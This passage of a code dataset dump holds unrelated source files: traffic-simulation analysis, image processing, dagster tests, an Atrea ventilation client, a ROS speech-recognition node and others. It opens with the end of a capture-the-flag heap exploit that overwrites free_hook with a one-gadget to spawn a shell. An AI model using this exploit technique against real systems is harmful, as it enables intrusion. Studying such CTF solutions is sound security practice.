0x10a38c\texecve(\"/bin/sh\", rsp+0x70, environ)\n constraints:\n [rsp+0x70] == NULL\n '''\n\n\n delete(1)\n add(0x90, chr(0)*0x40 + p64(0) + p64(0x41) + p64(free_hook) + chr(0)*0x38)\n \n add(0x30, 'D\\n')\n add(0x30, p64(one_shot))\n \n s.sl()\n delete(1)\n\n #zx(0xBD5)\n #add(0x60, 'XXXX')\n\n\n s.irt()\n #clean()\n\ndef dump():\n pwn()\n s.recv(timeout=1)\n s.sl(\"cat mergeheap\")\n s.sl(\"exit\")\n data = s.ra()\n f = open(\"dump\", \"wb\")\n f.write(data)\n f.close()\n\nif __name__ == \"__main__\":\n pwn()","sub_path":"2019/护网线上预选赛_2019/pwn/mergeheap/solved.py","file_name":"solved.py","file_ext":"py","file_size_in_byte":5219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"54663217","text":"from . import halconfig_types as types\nfrom . import halconfig_dependency as dep\n\nname = \"PDM\"\ndescription = \"Pulse-Density Modulation\"\ncompatibility = dep.Dependency(platform=(dep.Platform.SERIES1, dep.Platform.SERIES2))\nperipheral = 'PDM'\noptions = {\n \"BSP_PDM_CLK\": {\n \"type\": types.Pin(signal=\"CLK\"),\n \"description\": \"CLK pin\",\n \"longdescription\": \"Select pin for the CLK signal\",\n },\n \"BSP_PDM_DAT0\": {\n \"type\": types.Pin(signal=\"DAT0\"),\n \"description\": \"DAT0 pin\",\n \"longdescription\": \"Select pin for the DAT0 signal\",\n },\n \"BSP_PDM_DAT1\": {\n \"type\": types.Pin(signal=\"DAT1\"),\n \"description\": \"DAT1 pin\",\n \"longdescription\": \"Select pin for the DAT1 signal\",\n },\n}\n","sub_path":"platform/hwconf_data/bgm22/modules/PDM/PDM_model.py","file_name":"PDM_model.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"85684101","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 8 12:55:55 2020\nPurpose: Permitted left turn results processing\n@author: abibeka\n\"\"\"\n\n# 0.0 Housekeeping. Clear variable space\nfrom IPython import get_ipython # run magic commands\n\nipython = get_ipython()\nipython.magic(\"reset -f\")\nipython = get_ipython()\n\n# Load Libraries\n# ****************************************************************************************************************************************\nimport sys\n\nsys.path.append(\n r\"C:\\Users\\abibeka\\OneDrive - Kittelson & Associates, Inc\\Documents\\Github\\HCM_Pooled_Fund_CAV\"\n)\nfrom FunctionPermittedLeftTurns import *\n\nif not sys.warnoptions:\n import warnings\n\n warnings.simplefilter(\"ignore\") # Too many Pandas warnings\n\nVolumeMap = {}\n\nResDir = r\"C:\\Users\\abibeka\\OneDrive - Kittelson & Associates, Inc\\Documents\\HCM-CAV-Pooled-Fund\\Experimental Design Arterial\\VissimModel_permissive\\Results-Permissive\"\nVolumes = np.arange(600, 3000, 300)\nTimeIntevals = pd.IntervalIndex.from_tuples(\n [\n (900, 1800),\n (2700, 3600),\n (4500, 5400),\n (6300, 7200),\n (8100, 9000),\n (9900, 10800),\n (11700, 12600),\n (13500, 14400),\n ],\n closed=\"both\",\n)\nVolumeMap = pd.DataFrame({\"Volumes\": Volumes, \"TimeIntevals\": TimeIntevals})\n\nOutsideDir = r\"C:\\Users\\abibeka\\OneDrive - Kittelson & Associates, Inc\\Documents\\HCM-CAV-Pooled-Fund\\Experimental Design Arterial\\VissimModel_permissive\\Done\"\nListOfScenarioFolders = glob(os.path.join(OutsideDir, \"Platoon-*\"))\na = ListOfScenarioFolders[0]\nPattern = re.compile(\"(.*)Platoon-(1|5|8)_Gap-(Normal|1.2|0.6).*\")\nPlatoonSize = Pattern.search(a).group(2)\nGapSize = Pattern.search(a).group(3)\nSearchDepth = os.path.join(a, \"Scenarios\")\nSenarioMap = {\n \"S000001\": \"0PerMPR\",\n \"S000002\": \"20PerMPR\",\n \"S000003\": \"40PerMPR\",\n \"S000004\": \"60PerMPR\",\n \"S000005\": \"80PerMPR\",\n \"S000006\": \"100PerMPR\",\n}\nFinDat = pd.DataFrame()\nTempDfList = []\nTestFollowUp = []\nSneakerDatList = []\nCapacityList = []\n\nfor Scenario in ListOfScenarioFolders:\n Pattern = re.compile(\"(.*)Platoon-(1|5|8)_Gap-(Normal|1.1|1.2|0.6).*\")\n PlatoonSize = int(Pattern.search(Scenario).group(2))\n GapSize = Pattern.search(Scenario).group(3)\n SearchDepth = os.path.join(Scenario, \"Scenarios\")\n for Sno, mpr in SenarioMap.items():\n SearchDepth2 = os.path.join(SearchDepth, Sno)\n try:\n print(PlatoonSize, \"---\", GapSize, \"---\", mpr, \"---\", SearchDepth2)\n print(\"---\" * 40)\n TempDf, folTempDf, sneakTempDf, capTempDf = BatchProcessFiles(\n SearchDepth2, VolumeMap\n )\n for masterList, df in zip(\n [TempDfList, TestFollowUp, SneakerDatList, CapacityList],\n [TempDf, folTempDf, sneakTempDf, capTempDf],\n ):\n df.loc[:, \"MPR\"] = mpr\n df.loc[:, \"Platoon\"] = PlatoonSize\n df.loc[:, \"Gap\"] = GapSize\n masterList.append(df)\n except AssertionError as error:\n print(\"xxx\" * 20)\n print(\"Needs Debuging\")\n print(PlatoonSize, \"---\", GapSize, \"---\", mpr)\n print(\"xxx\" * 20)\nFinDat = pd.concat(TempDfList)\nTestDf = pd.concat(TestFollowUp)\nTestDf = TestDf[~TestDf.TimeIntevals.isna()]\nTestDf = TestDf.set_index([\"Platoon\", \"Gap\", \"MPR\", \"TimeIntevals\"])\nTestDf.sort_index(inplace=True)\n# Back Calculate Critical Gap\n# ****************************************************************************************************************************************\nThroughSatFlowDat1 = ReadSatFlowData()\nThroughSatFlowDat1.Gap = ThroughSatFlowDat1.Gap.astype(str)\nFinDat = FinDat.merge(\n ThroughSatFlowDat1,\n left_on=[\"Platoon\", \"Gap\", \"MPR\"],\n right_on=[\"PltSize\", \"Gap\", \"MPR\"],\n how=\"left\",\n)\n\n# Global Variables:\nP = 0.57 # Proportion arriving on green\nC = 100\nY_AR = 5\nG2 = 62 # Phase duration for permitted phase\n# Effective Green phase 2\ng2 = G2 - Y_AR\nNumLanesOppThrough = 2\nep = 2 # permitted extension of effective green (s).\nl1 = 2 # start-up loss time\nFinDat.loc[:, \"ArrivalRateOpposingThrough\"] = FinDat.Volumes / (\n NumLanesOppThrough * 3600\n)\nFinDat = FinDat.eval(\n \"\"\"\n gq = (ArrivalRateOpposingThrough* @C* (1-@P))/ ((SatFlowRateOppThru/3600)-ArrivalRateOpposingThrough*@C*@P/@g2)\n \"\"\"\n)\nFinDat = FinDat.assign(Gq=lambda x: x.gq + l1, Gu=lambda x: g2 - x.Gq)\nFinDat.loc[FinDat.Gu <= 0, \"Gu\"] = 0\nFinDat.loc[FinDat.Gu <= 0, \"Gu\"] = 0\nFinDat = FinDat.eval(\"gu = Gu+@ep\")\nFinDat.loc[FinDat.Gu <= 0, \"gu\"] = 0\nFinDat.loc[:, \"Min_gp_gu\"] = FinDat.gu.apply(lambda x: min(x, g2))\nFinDat.loc[:, \"FirstTerm\"] = FinDat.Capacity - FinDat.NumSneakerPerCycle * 3600 / C\nFinDat = FinDat.eval(\"PermittedSatFlow= @C*FirstTerm/Min_gp_gu\")\nFinDat = FinDat.eval(\n \"CriticalHeadway = -(3600/Volumes)*log((PermittedSatFlow * (1-exp(-Volumes*FollowUpHeadway/3600)))/Volumes)\"\n)\nFinDat1 = FinDat.set_index([\"Platoon\", \"Gap\", \"Volumes\", \"MPR\"])\nFinDat1.sort_index(inplace=True)\nFinDat1.to_csv(os.path.join(ResDir, \"PermittedLeftTable.csv\"))\nTestDf.to_csv(os.path.join(ResDir, \"TestData.csv\"))\n\nFinDat1 = pd.read_csv(os.path.join(ResDir, \"PermittedLeftTable.csv\"))\nFinDat1 = FinDat1.query(\"Volumes<=1800\")\n\n# -(3600/900)*np.log((628.713 * (1-np.exp(-900*2.5/3600)))/900)\n\n# Plot\n# ****************************************************************************************************************************************\nPlotData(\n Data1=FinDat1,\n Y_Var=\"CriticalHeadway\",\n Y_Lab=\"Critical Headway (sec)\",\n tittleAddOn=\"CriticalHeadway\",\n MainDir=ResDir,\n fileNm=\"CriticalHeadway\",\n range_y_=[0, 6],\n)\n\nPlotData(\n Data1=FinDat1,\n Y_Var=\"FollowUpHeadway\",\n Y_Lab=\"Follow-Up Headway (sec)\",\n tittleAddOn=\"FollowUpHeadway\",\n MainDir=ResDir,\n fileNm=\"FollowUpHeadway\",\n range_y_=[0, 6],\n)\n\nPlotData(\n Data1=FinDat1,\n Y_Var=\"PermittedSatFlow\",\n Y_Lab=\"Permitted Sat Flow\",\n tittleAddOn=\"Permitted Sat Flow\",\n MainDir=ResDir,\n fileNm=\"Permitted Sat Flow\",\n range_y_=[0, 1600],\n)\n\nPlotData(\n Data1=FinDat1,\n Y_Var=\"NumSneakerPerCycle\",\n Y_Lab=\"NumSneakerPerCycle\",\n tittleAddOn=\"NumSneakerPerCycle\",\n MainDir=ResDir,\n fileNm=\"NumSneakerPerCycle\",\n range_y_=[0, 6],\n)\n\nPlotData(\n Data1=FinDat1,\n Y_Var=\"Capacity\",\n Y_Lab=\"Capacity\",\n tittleAddOn=\"Capacity\",\n MainDir=ResDir,\n fileNm=\"Capacity\",\n range_y_=[0, 1600],\n)\n\nPlotData(\n Data1=FinDat1,\n Y_Var=\"Min_gp_gu\",\n Y_Lab=\"Min_gp_gu\",\n tittleAddOn=\"Min_gp_gu\",\n MainDir=ResDir,\n fileNm=\"Min_gp_gu\",\n range_y_=[0, 100],\n)\n\n# Round HCM Calculation\n# *********************************************************************************************************************************\n# SaturationFlowRateOppThrough =np.array([1900, 1900,1900,1900,1900,1900,1900,1900]) #Revise this\nP = 0.57 # Proportion arriving on green\nC = 100\nY_AR = 5\nNumSneakers = 2\nG2 = 62 # Phase duration for permitted phase\n# Effective Green phase 2\ng2 = G2 - Y_AR\nNumLanesOppThrough = 2\nep = 2 # permitted extension of effective green (s).\nl1 = 2 # start-up loss time\nCriticalHeadway = 4.5\nFollowUpHeadway = 2.5\nOpposingThroughVolumes = VolumeMap.Volumes.values\nArrivalRateOpposingThrough = OpposingThroughVolumes / (NumLanesOppThrough * 3600)\ngq = (ArrivalRateOpposingThrough * C * (1 - P)) / (\n (SaturationFlowRateOppThrough / 3600) - ArrivalRateOpposingThrough * C * P / g2\n)\n# (ArrivalRate*Cycle*(1-PropOnGreen))/((SatFlow/3600)-ArrivalRate*Cycle*PropOnGreen/effGreen)\nGq = gq + l1\nGu = g2 - Gq\nNegativeValues = Gu <= 0\nGu[NegativeValues] = 0\ngu = Gu + ep\ngu[NegativeValues] = 0\ng2 = np.repeat(g2, len(gu))\nSatFlowPermitted = (\n OpposingThroughVolumes\n * np.exp(-OpposingThroughVolumes * CriticalHeadway / 3600)\n / (1 - np.exp(-OpposingThroughVolumes * FollowUpHeadway / 3600))\n)\n\nHCMcapacity = (np.minimum(gu, g2) * SatFlowPermitted + 3600 * NumSneakers) / C\n","sub_path":"PermittedLeftResultProcessing.py","file_name":"PermittedLeftResultProcessing.py","file_ext":"py","file_size_in_byte":7983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"335266038","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 28 16:39:39 2018\n\n@author: Manuel Sanchez\n\nFunciones\n\n\"\"\"\nimport numpy as np\n\ndef my_gamma(image,gamma):\n Im_ga = np.double(image)\n Im2 = Im_ga**gamma #gamma image\n Im2 = np.uint8(255*Im2/Im2.max())\n return Im2\n\ndef grayWhite(image, A, B):\n imageArray = np.array(image)\n zeroArray = np.zeros(imageArray.shape)\n zeroArray[(imageArray>=A)&(imageArray<=B)] = 255\n returnImage = np.uint8(zeroArray) \n return returnImage\n\ndef grayBlack(image, A, B):\n imageArray = np.array(image)\n imageArray[(imageArray>=A)&(imageArray<=B)] = 255 \n returnImage = np.uint8(imageArray) \n return returnImage\n\ndef my_hist(im):\n [row, col] = im.shape;\n vec = np.zeros(256)\n print(vec.shape)\n for i in range(0,row-1):\n for j in range(0,col-1):\n valor = im[i,j] \n vec[valor] = vec[valor] + 1\n return vec\n\ndef my_equal(im,h):\n [row, col] = im.shape;\n n = row*col\n p = h/n\n s = np.cumsum(p)\n k = s*255\n im2=im\n for i in range(0,row-1):\n for j in range(0,col-1):\n valor = im[i,j] \n im2[i,j]=k[valor]\n return im2\n\ndef rgb2ycbcr(im):\n xform = np.array([[.299, .587, .114], [-.169, -.331, .5], [.5, -.419, -.081]])\n ycbcr = im.dot(xform.T)\n ycbcr[:,:,[1,2]] += 128\n return np.uint8(ycbcr)\n\ndef ycbcr2rgb(im):\n xform = np.array([[1, 0, 1.403], [1, -0.344, -.714], [1, 1.773, 0]])\n rgb = im.astype(np.float)\n rgb[:,:,[1,2]] -= 128\n rgb = rgb.dot(xform.T)\n np.putmask(rgb, rgb > 255, 255)\n np.putmask(rgb, rgb < 0, 0)\n return np.uint8(rgb)\n\ndef my_linealTrozos(image,a,p1,p2):\n Im_lt = np.double(image)\n Im_s = np.zeros(Im_lt.shape)\n Im_s[Im_lt<=p1[0]]=a[0]*Im_lt[Im_lt<=p1[0]]\n Im_s[(Im_lt>p1[0])&(Im_lt<=p2[0])]=a[1]*(Im_lt[(Im_lt>p1[0])&(Im_lt<=p2[0])]-p1[0])+p1[1]\n Im_s[Im_lt>p2[0]]=a[2]*(Im_lt[Im_lt>p2[0]]-p2[0])+p2[1]\n Imf = np.uint8(Im_s)\n return Imf\n\ndef logarithm(image):\n imageDouble = np.double(np.array(image))\n imageReturn = np.log(1+imageDouble)\n imageReturn = np.uint8(255*imageReturn/imageReturn.max())\n return imageReturn\n\ndef negative(image):\n imageReturn = np.array(image)\n imageSend = 255 - imageReturn\n return imageSend\n\n\n\n\n","sub_path":"garbage/funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"121636142","text":"class Cake():\n def __init__(self, cake):\n self.cake = cake\n self.binaryCake = self.parser()\n self.amountOfTries = 0\n self.flipper()\n\n def parser(self):\n binaryCake = []\n for i in self.cake:\n if i == '+':\n binaryCake.append(1)\n else:\n binaryCake.append(0)\n return binaryCake\n\n def flipper(self):\n smile = False\n sad = False\n j = 0\n for i in self.binaryCake:\n j += 1\n if i is 1:\n if sad:\n self.flipToOne(j)\n sad = False\n if j is len(self.binaryCake):\n return 0\n smile = True\n continue\n if i is 0:\n if not smile:\n if j is len(self.binaryCake):\n self.flipToOne(j)\n return 0\n sad = True\n continue\n else:\n self.flipToZero(j)\n smile = False\n sad = True\n continue\n if sad:\n self.flipToOne(j)\n\n def flipToZero(self, amount):\n for i in range(amount - 1):\n self.binaryCake[i] = 0\n self.amountOfTries += 1\n\n def flipToOne(self, amount):\n for i in range(amount):\n self.binaryCake[i] = 1\n self.amountOfTries += 1\n\n\ndef main(t):\n for i in range(1, t + 1):\n if i > 100:\n return 0\n t = input()\n cake = Cake(t)\n print(\"Case #{}: {}\".format(i, cake.amountOfTries))\n\n\nmain(int(input()))\n","sub_path":"codes/CodeJamCrawler/16_0_2/Bloodw3n/pancakes.py","file_name":"pancakes.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"400844798","text":"import re\n\nimport pytest\n\nfrom dagster import DagsterInvariantViolationError, execute_pipeline, execute_pipeline_iterator\nfrom dagster.core.test_utils import step_output_event_filter\n\nfrom .test_subset_selector import foo_pipeline\n\n\ndef test_execute_pipeline_with_solid_subset_single_clause():\n pipeline_result_full = execute_pipeline(foo_pipeline)\n assert pipeline_result_full.success\n assert pipeline_result_full.result_for_solid('add_one').output_value() == 7\n assert len(pipeline_result_full.solid_result_list) == 5\n\n pipeline_result_up = execute_pipeline(foo_pipeline, solid_subset=['*add_nums'])\n assert pipeline_result_up.success\n assert pipeline_result_up.result_for_solid('add_nums').output_value() == 3\n assert len(pipeline_result_up.solid_result_list) == 3\n\n pipeline_result_down = execute_pipeline(\n foo_pipeline,\n environment_dict={\n 'solids': {'add_nums': {'inputs': {'num1': {'value': 1}, 'num2': {'value': 2}}}}\n },\n solid_subset=['add_nums++'],\n )\n assert pipeline_result_down.success\n assert pipeline_result_down.result_for_solid('add_one').output_value() == 7\n assert len(pipeline_result_down.solid_result_list) == 3\n\n\ndef test_execute_pipeline_with_solid_subset_multi_clauses():\n result_multi_disjoint = execute_pipeline(\n foo_pipeline, solid_subset=['return_one', 'return_two', 'add_nums+']\n )\n assert result_multi_disjoint.success\n assert result_multi_disjoint.result_for_solid('multiply_two').output_value() == 6\n assert len(result_multi_disjoint.solid_result_list) == 4\n\n result_multi_overlap = execute_pipeline(\n foo_pipeline, solid_subset=['return_one++', 'add_nums+', 'return_two']\n )\n assert result_multi_overlap.success\n assert result_multi_overlap.result_for_solid('multiply_two').output_value() == 6\n assert len(result_multi_overlap.solid_result_list) == 4\n\n result_multi_with_invalid = execute_pipeline(foo_pipeline, solid_subset=['a', '*add_nums'])\n assert result_multi_with_invalid.success\n assert result_multi_with_invalid.result_for_solid('add_nums').output_value() == 3\n assert len(result_multi_with_invalid.solid_result_list) == 3\n\n\ndef test_execute_pipeline_with_solid_subset_invalid():\n invalid_input = ['return_one,return_two']\n\n with pytest.raises(\n DagsterInvariantViolationError,\n match=re.escape(\n 'No qualified solid subset found for solid_subset={input}'.format(input=invalid_input)\n ),\n ):\n execute_pipeline(foo_pipeline, solid_subset=invalid_input)\n\n\ndef test_execute_pipeline_iterator_with_solid_subset_query():\n\n output_event_iterator = step_output_event_filter(execute_pipeline_iterator(foo_pipeline))\n events = list(output_event_iterator)\n assert len(events) == 5\n\n iterator_up = step_output_event_filter(\n execute_pipeline_iterator(foo_pipeline, solid_subset=['*add_nums'])\n )\n events_up = list(iterator_up)\n assert len(events_up) == 3\n\n iterator_down = step_output_event_filter(\n execute_pipeline_iterator(\n foo_pipeline,\n environment_dict={\n 'solids': {'add_nums': {'inputs': {'num1': {'value': 1}, 'num2': {'value': 2}}}}\n },\n solid_subset=['add_nums++'],\n )\n )\n events_down = list(iterator_down)\n assert len(events_down) == 3\n","sub_path":"python_modules/dagster/dagster_tests/core_tests/selector_tests/test_execute.py","file_name":"test_execute.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"44797530","text":"#\n# Author: Juraj Nyiri\n# Tested with:\n# Atrea ECV 280 \n#\n# sw RD5 ver.:\n# 2.01.26\n# 2.01.3O\n# 2.01.32\n#\n\nimport requests\nfrom xml.etree import ElementTree as ET\nimport demjson\nimport urllib \nimport hashlib\nimport string\nimport random\n\nclass Atrea:\n def __init__(self, ip, password, code=\"\"):\n self.ip = ip\n self.password = password\n self.code = code\n self.translations = {}\n self.commands = {}\n self.writable_modes = {}\n\n def getTranslations(self):\n if not self.translations:\n self.translations['params'] = {}\n self.translations['words'] = {}\n response = requests.get('http://'+self.ip+'/lang/texts_2.xml?'+random.choice(string.ascii_letters)+random.choice(string.ascii_letters))\n if(response.status_code == 200):\n xmldoc = ET.fromstring(response.content)\n for text in xmldoc.findall('texts'):\n for param in text.findall('params'):\n data = demjson.decode(param.text)\n for dataKey, dataValue in data.items():\n self.translations['params'][dataKey] = dataValue\n for word in text.findall('words'):\n data = demjson.decode(word.text)\n for dataKey, dataValue in data.items():\n self.translations['words'][dataKey] = dataValue\n return self.translations\n\n def getParams(self):\n params = {}\n params['warning'] = []\n params['alert'] = []\n response = requests.get('http://'+self.ip+'/user/params.xml?'+random.choice(string.ascii_letters)+random.choice(string.ascii_letters))\n if(response.status_code == 200):\n xmldoc = ET.fromstring(response.content)\n for param in xmldoc.findall('params'):\n for child in list(param):\n if(child.tag == \"i\"):\n if 'flag' in child.attrib and 'id' in child.attrib :\n if(child.attrib['flag'] == \"W\"):\n params['warning'].append(child.attrib['id'])\n elif(child.attrib['flag'] == \"A\"):\n params['alert'].append(child.attrib['id'])\n return params\n\n def getStatus(self):\n status = {}\n response = requests.get('http://'+self.ip+'/config/xml.xml?auth='+self.code+'&'+random.choice(string.ascii_letters)+random.choice(string.ascii_letters))\n\n if(response.status_code == 200):\n if \"HTTP: 403 Forbidden\" in response.text:\n self.auth()\n response = requests.get('http://'+self.ip+'/config/xml.xml?auth='+self.code+'&'+random.choice(string.ascii_letters)+random.choice(string.ascii_letters))\n if response.status_code == 200 and \"HTTP: 403 Forbidden\" in response.text:\n return False\n if(response.status_code == 200):\n xmldoc = ET.fromstring(response.content)\n for parentData in xmldoc.findall('RD5'):\n for data in list(parentData):\n for child in list(data):\n if(child.tag == \"O\"):\n status[child.attrib['I']] = child.attrib['V']\n return status\n\n def getTranslation(self, id):\n translations = self.getTranslations()\n \n if(id in translations['params']):\n param = 'params'\n elif(id in translations['words']):\n param = 'words'\n else:\n return id\n\n if('d' in translations[param][id]):\n toBeTranslated = translations[param][id]['d']\n if(toBeTranslated == \"not%20to%20be%20translated\"):\n toBeTranslated = translations[param][id]['t']\n else:\n toBeTranslated = translations[param][id]['t']\n\n if(hasattr(urllib, 'parse')):\n return urllib.parse.unquote(toBeTranslated)\n else:\n return urllib.unquote(toBeTranslated) #pylint: disable=E1101\n \n def loadSupportedModes(self):\n status = self.getStatus()\n if(status == False):\n return False\n try:\n binary_writable_modes = '{0:08b}'.format(int(status['I12004']))\n H11700 = int(status['H11700'])\n except AttributeError:\n return False\n \n for i in range(8):\n if ((i == 3 or i == 4) and (int(H11700) == 0)):\n self.writable_modes[i] = False\n else:\n if(int(binary_writable_modes[7-i]) == 0):\n self.writable_modes[i] = False\n else:\n self.writable_modes[i] = True\n\n return self.writable_modes != {}\n \n def getSupportedModes(self):\n if(self.writable_modes == {}):\n self.loadSupportedModes()\n return self.writable_modes\n\n def auth(self):\n magic = hashlib.md5((\"\\r\\n\"+self.password).encode('utf-8')).hexdigest()\n response = requests.get('http://'+self.ip+'/config/login.cgi?magic='+magic+'&'+random.choice(string.ascii_letters)+random.choice(string.ascii_letters))\n if(response.status_code == 200):\n xmldoc = ET.fromstring(response.content)\n if(response.content == \"denied\"):\n return False\n else:\n self.code = xmldoc.text\n return False\n \n def setPower(self, power):\n try:\n power += 1\n except TypeError:\n return False\n power -= 1\n\n if(power < 99):\n power = \"0\"+str(power)\n elif(power < 10) and (power >= 0):\n power = \"00\"+str(power)\n elif(power == 100):\n power = str(power)\n else:\n return False\n\n self.commands['H10708'] = \"00\"+power\n return True\n\n def exec(self):\n url = 'http://'+self.ip+'/config/xml.cgi?auth='+self.code\n \n if(len(self.commands) > 0):\n for register in self.commands:\n url = url + \"&\" + register + self.commands[register]\n response = requests.get(url)\n return response.status_code == 200\n return False\n \n def setTemperature(self, temperature):\n try:\n temperature += 1\n except TypeError:\n return False\n temperature -= 1\n if(temperature >= 10 and temperature <= 40):\n temperature = str(int(temperature*10))\n if(len(temperature) == 3):\n self.commands['H10710'] = \"00\" + temperature\n return True\n return False\n \n \n #0 = Manual\n #1 = Weekly\n #2 = Temporary\n def setProgram(self, program):\n try:\n program += 1\n except TypeError:\n return False\n program -= 1\n\n if(program == 0):\n self.commands['H10700'] = \"00000\"\n self.commands['H10701'] = \"00000\"\n self.commands['H10702'] = \"00000\"\n self.commands['H10703'] = \"00000\"\n return True\n elif(program == 1):\n self.commands['H10700'] = \"00001\"\n self.commands['H10701'] = \"00001\"\n self.commands['H10702'] = \"00001\"\n self.commands['H10703'] = \"00001\"\n return True\n elif(program == 2):\n self.commands['H10700'] = \"00002\"\n self.commands['H10701'] = \"00002\"\n self.commands['H10702'] = \"00002\"\n if 'H10703' in self.commands: self.commands.pop('H10703')\n return True\n\n return False\n \n #0 = Off\n #1 = Automat\n #2 = Ventilation\n #3 = Circulation and Ventilation\n #4 = Circulation\n #5 = Night precooling\n #6 = Disbalance\n #7 = Overpressure\n\n def setMode(self, mode):\n try:\n mode += 1\n except TypeError:\n return False\n mode -= 1\n\n supported_modes = self.getSupportedModes()\n\n if(not supported_modes[mode]):\n return False\n\n if(mode == 0):\n self.commands['H10709'] = \"00000\"\n return True\n elif(mode == 1):\n self.commands['H10709'] = \"00001\"\n return True\n elif(mode == 2):\n self.commands['H10709'] = \"00002\"\n return True\n elif(mode == 3):\n self.commands['H10709'] = \"00003\"\n return True\n elif(mode == 4):\n self.commands['H10709'] = \"00004\"\n return True\n elif(mode == 5):\n self.commands['H10709'] = \"00005\"\n return True\n elif(mode == 6):\n self.commands['H10709'] = \"00006\"\n return True\n elif(mode == 7):\n self.commands['H10709'] = \"00007\"\n return True\n\n return False","sub_path":"pyatrea/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"17280988","text":"'''\n1\n1 1\n5\n'''\nnots = int(input())\nfor _ in range(nots):\n lens, k = [int(x) for x in input().split()]\n ans = 0\n arr = [int(x) for x in input().split()]\n for i in arr:\n ans = max(abs(ans), abs(i))\n print(\"1\", ans)\n\n\n","sub_path":"codechef/GGLMAGIC1.py","file_name":"GGLMAGIC1.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"150457179","text":"#!/usr/bin/env python3\n\n__author__ = \"The Clemente Lab\"\n__copyright__ = \"Copyright 2019, The Clemente Lab\"\n__credits__ = [\"Kevin Bu, Steve Schmerler\"]\n__license__ = \"GPL\"\n__version__ = \"0.1.0-dev\"\n__maintainer__ = \"Kevin Bu\"\n__email__ = \"kbu314@gmail.com\"\n\n__all__ = ['common', 'main', 'analysis', 'imagecluster']\n","sub_path":"iclust/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"286054175","text":"#!/usr/bin/env python\n\nimport json, shlex, socket, subprocess, sys, threading\nimport rospy\nfrom std_msgs.msg import String, Int8\nimport shlex,subprocess,os,io\nfrom std_srvs.srv import *\nfrom google.cloud import speech\nfrom google.cloud.speech import enums\nfrom google.cloud.speech import types\n\nclass GSpeech(object):\n \"\"\"Speech Recogniser using Google Speech API\"\"\"\n\n def __init__(self):\n \"\"\"Constructor\"\"\"\n # configure system commands\n self.sox_cmd = \"sox -r 16000 -c 1 -t alsa default recording.flac vad silence 1 0.1t 1% 1 0.5t 5%\"\n self.sox_args = shlex.split(self.sox_cmd)\n self.client = speech.SpeechClient()\n # start ROS node\n rospy.init_node('gspeech')\n # configure ROS settings\n rospy.on_shutdown(self.shutdown)\n self.pub_speech = rospy.Publisher('nlp_in', String, queue_size=10)\n self.pub_confidence = rospy.Publisher('~confidence', Int8, queue_size=10)\n self.srv_start = rospy.Service('~start', Empty, self.start)\n self.srv_stop = rospy.Service('~stop', Empty, self.stop)\n # run speech recognition\n self.started = True\n self.recog_thread = threading.Thread(target=self.do_recognition, args=())\n self.recog_thread.start()\n\n def start(self, req):\n \"\"\"Start speech recognition\"\"\"\n if not self.started:\n self.started = True\n if not self.recog_thread.is_alive():\n self.recog_thread = threading.Thread(\n target=self.do_recognition, args=()\n )\n self.recog_thread.start()\n rospy.loginfo(\"gspeech recognizer started\")\n else:\n rospy.loginfo(\"gspeech is already running\")\n return EmptyResponse()\n\n def stop(self, req):\n \"\"\"Stop speech recognition\"\"\"\n if self.started:\n self.started = False\n if self.recog_thread.is_alive():\n self.recog_thread.join()\n rospy.loginfo(\"gspeech recognizer stopped\")\n else:\n rospy.loginfo(\"gspeech is already stopped\")\n return EmptyResponse()\n\n def shutdown(self):\n \"\"\"Stop all system process before killing node\"\"\"\n self.started = False\n if self.recog_thread.is_alive():\n self.recog_thread.join()\n self.srv_start.shutdown()\n self.srv_stop.shutdown()\n os.remove(\"recording.flac\")\n\n def do_recognition(self):\n \"\"\"Do speech recognition\"\"\"\n while self.started:\n sox_p = subprocess.call(self.sox_args)\n with io.open(\"recording.flac\", 'rb') as audio_file:\n content = audio_file.read()\n audio = types.RecognitionAudio(content=content)\n\n config = types.RecognitionConfig(\n encoding=enums.RecognitionConfig.AudioEncoding.FLAC,\n sample_rate_hertz=16000,\n language_code='en-US')\n\n response = self.client.recognize(config, audio)\n alternatives = response.results[0].alternatives if response.results else []\n for alt in alternatives:\n confidence = alt.confidence * 100\n self.pub_confidence.publish(confidence)\n rospy.loginfo(\"confidence: {}\".format(confidence))\n self.pub_speech.publish(String(alt.transcript))\n rospy.loginfo(\"transcript: {}\".format(alt.transcript))\n\n# end of GSpeech class\n\n\n\n\ndef is_connected():\n \"\"\"Check if connected to Internet\"\"\"\n try:\n # check if DNS can resolve hostname\n remote_host = socket.gethostbyname(\"www.google.com\")\n # check if host is reachable\n s = socket.create_connection(address=(remote_host, 80), timeout=5)\n return True\n except:\n pass\n return False\n\ndef main():\n if not is_connected():\n sys.exit(\"No Internet connection available\")\n speech = GSpeech()\n rospy.spin()\n\n\nif __name__ == '__main__':\n try:\n main()\n except rospy.ROSInterruptException:\n pass\n except KeyboardInterrupt:\n sys.exit(0)\n","sub_path":"src/speech/src/g_speech.py","file_name":"g_speech.py","file_ext":"py","file_size_in_byte":3689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"194091616","text":"import numpy as np \nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nfrom scipy.optimize import minimize \nimport math\n\nclass Vasicek:\n def __init__(self, time):\n # get yield data\n self.yield_data = 